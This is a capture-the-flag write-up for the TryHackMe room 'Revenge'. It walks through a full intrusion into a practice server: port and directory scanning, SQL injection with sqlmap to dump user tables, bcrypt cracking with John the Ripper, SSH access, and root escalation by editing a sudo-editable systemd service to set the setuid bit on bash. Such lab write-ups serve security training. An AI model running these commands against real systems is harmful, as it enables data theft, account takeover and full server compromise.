THM – Revenge CTF Room

Todays Capture the Flag hacking writeup is for the TryHackMe room, Revenge. It’s a medium rated room with the following brief:

You’ve been hired by Billy Joel to get revenge on Ducky Inc…the company that fired him. Can you break into the server and complete your mission?

We start by downloading a story task file; which gives a bit more detail behind the CTF story. We’ve got to deface the homepage of the website, but we’re not allowed to take the site or server offline.

NMAP the server

First off, we use nmap to discover any obvious open ports on the box:

sudo nmap -Pn -sC -sV -O -T4 -vv | tee namp_sCsVO.txt 

A useful block comes back as follows:

Scanning [1000 ports]
Discovered open port 80/tcp on
Discovered open port 22/tcp on
Completed Connect Scan at 07:37, 4.06s elapsed (1000 total ports)
Nmap scan report for
Host is up, received echo-reply ttl 63 (0.067s latency).
Scanned at 2022-01-06 07:37:01 EST for 4s
Not shown: 998 closed tcp ports (conn-refused)
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

So we know its running a webserver and SSH.

A bit more info can be revealed, showing the version numbers of those services:

21/tcp   closed ftp           conn-refused
22/tcp   open   ssh           syn-ack      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
23/tcp   closed telnet        conn-refused
25/tcp   closed smtp          conn-refused
53/tcp   closed domain        conn-refused
80/tcp   open   http          syn-ack      nginx 1.14.0 (Ubuntu)
110/tcp  closed pop3          conn-refused
111/tcp  closed rpcbind       conn-refused
135/tcp  closed msrpc         conn-refused
139/tcp  closed netbios-ssn   conn-refused
143/tcp  closed imap          conn-refused
443/tcp  closed https         conn-refused
445/tcp  closed microsoft-ds  conn-refused
993/tcp  closed imaps         conn-refused
995/tcp  closed pop3s         conn-refused
1723/tcp closed pptp          conn-refused
3306/tcp closed mysql         conn-refused
3389/tcp closed ms-wbt-server conn-refused
5900/tcp closed vnc           conn-refused
8080/tcp closed http-proxy    conn-refused
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

So this looks like a web exploitation job – followed by gaining SSH access.

GOBUSTER the server

As with almost all web exploitation CTF I’ve done, we also throw the IP at Gobuster. We start with a small and then work up to a medium directory list.

$ gobuster dir --url $IP --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster.txt

And we get the following output from the gobuster script:

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2022/01/06 07:11:53 Starting gobuster in directory enumeration mode
/index                (Status: 200) [Size: 8541]
/contact              (Status: 200) [Size: 6906]
/products             (Status: 200) [Size: 7254]
/login                (Status: 200) [Size: 4980]
/static               (Status: 301) [Size: 194] [-->]
/admin                (Status: 200) [Size: 4983]                                  

We hit login and the admin pages, however analysing the requests there seems to show they’re just dummy pages. No data seems to get submitted and there’s no known page listening for the data, afaik.

Product IDOR Exploitation

One of the other pages shows a breakdown of all their products:

You can browse each one, with the URL changing to include a sequential product number. I started to examine this, wondering if that was an exploitable vector.

Turns out after completing this room, this avenue is called an insecure direct object resource (IDOR) vector.

SQLMap the object reference

We fire up SQLMap to hit the page:

$ sqlmap -u http://$IP/products/1 --current-db

SQLMap reveals it’s a MySQL DBMS, as well as some payloads we can drop on the URL, which is all very useful. This appears to be a rabbit hole worth investigating.

Schema name revealed using SQLi

SQLMap spits out the current data: duckyinc.

We check one of the payloads, just to test SQLMap isn’t getting false positives. We try one of my favourite SQL injection methods, the time attack. We append:


…to the url, after “/products/“. The browser then appears to hang for 5 seconds – so we’re definitely getting SQL execution.

We can now re-run SQLMap using “-D duckyinc”.

sqlmap -u http://$IP/products/1 -D duckyinc --tables 

Within seconds we get the schema dumped out:

Tables exposed using SQLMap

Tables: system_user, user and products

We can then dump out all the tables, using the –dump argument.

sqlmap -u http://$IP/products/1 -D duckyinc --dump | tee mysql_dump.txt

This gives us everything in the DB. Magical.

Dumped MySQL schema

This just happens to contain a flag too! (Which I missed for flipping ages)

We munge the dumped server users table into a format we can run through a cracker like JohnTheRipper.


A quick bit of research online shows that $2a$ hashes are created using bcrypt. Interestingly the ‘server-admin’ user has a encryption ‘cost’ of 8, while ‘kmotley’ and ‘dhughes’ have a cost of 12.

FYI, the cost value is 2^x iterations of the hashing algorithm. 2^8 equates to 256, while 2^12 is 4096. This means it should take 16x the effort to crack each of the last two hashes, compared to the first.

$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt server_user_pass.hash 

That quickly (<1 minute) cracks the server-admin password, probably down to it only having a cost value of 8, compared to the other user’s 12.

FYI, the 2nd and 3rd passwords didn’t crack within 10 minutes. By that point we were well underway SSH into the box using server-admin – so the cracking was abandoned.

SSH into the box

Noting earlier that the SSH port is open, but the Admin login webpage does nothing, we plugged the password into a SSH login for user server-admin.

SSH login into the target box

Here we find our second flag. We’re getting close.

Now we have a foot in the door, we use SCP to upload linPEAS onto the box. Once it’s there, we run that:

Can we change any of the duckyinc website:

Yes we can. Our 9*9 is being calculated as 81 on the site.

Can we now wipe the homepage:

$ echo "DEFACED WEBSITE" > index.html

No is the answer. In fact it seems to have cached everything.

So we need to restart the service perhaps? We can’t delete the __pycache__ content.

Oh damn. Well it was worth a shot.

Escalating privileges to root

I then trawled through the linPEAS.txt file created earlier, and stumbled across some gold! server-admin wasn’t root, but they did have some root-like control on the server. This was displayed using the sudo list command:

server-admin@duckyinc:/var/www/duckyinc/templates$ sudo -l

Matching Defaults entries for server-admin on duckyinc:
    env_reset, mail_badpass,

User server-admin may run the following commands on duckyinc:
    (root) /bin/systemctl start duckyinc.service, /bin/systemctl enable duckyinc.service, /bin/systemctl restart duckyinc.service, /bin/systemctl daemon-reload, sudoedit /etc/systemd/system/duckyinc.service

I could simply execute:

$ sudo /bin/systemctl restart duckyinc.service

Also you can sudoedit the duckyinc service!

Which looks like this to begin with:

Description=Gunicorn instance to serve DuckyInc Webapp

ExecStart=/usr/local/bin/gunicorn --workers 3 --bind=unix:/var/www/duckyinc/duckyinc.soc$
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID


I changed the file to read:

ExecStart=/bin/sh -c "chmod +s /bin/bash"

I then rebuild the deamon DB (Required when services changed), then restarted the duckyinc service…

… and voila!

Now we can escalate our privileges with:

/bin/bash -p

With that we can navigate to the /root/ directory and pick up flag3.txt!

Room complete!


Leave a Reply

Your email address will not be published. Required fields are marked *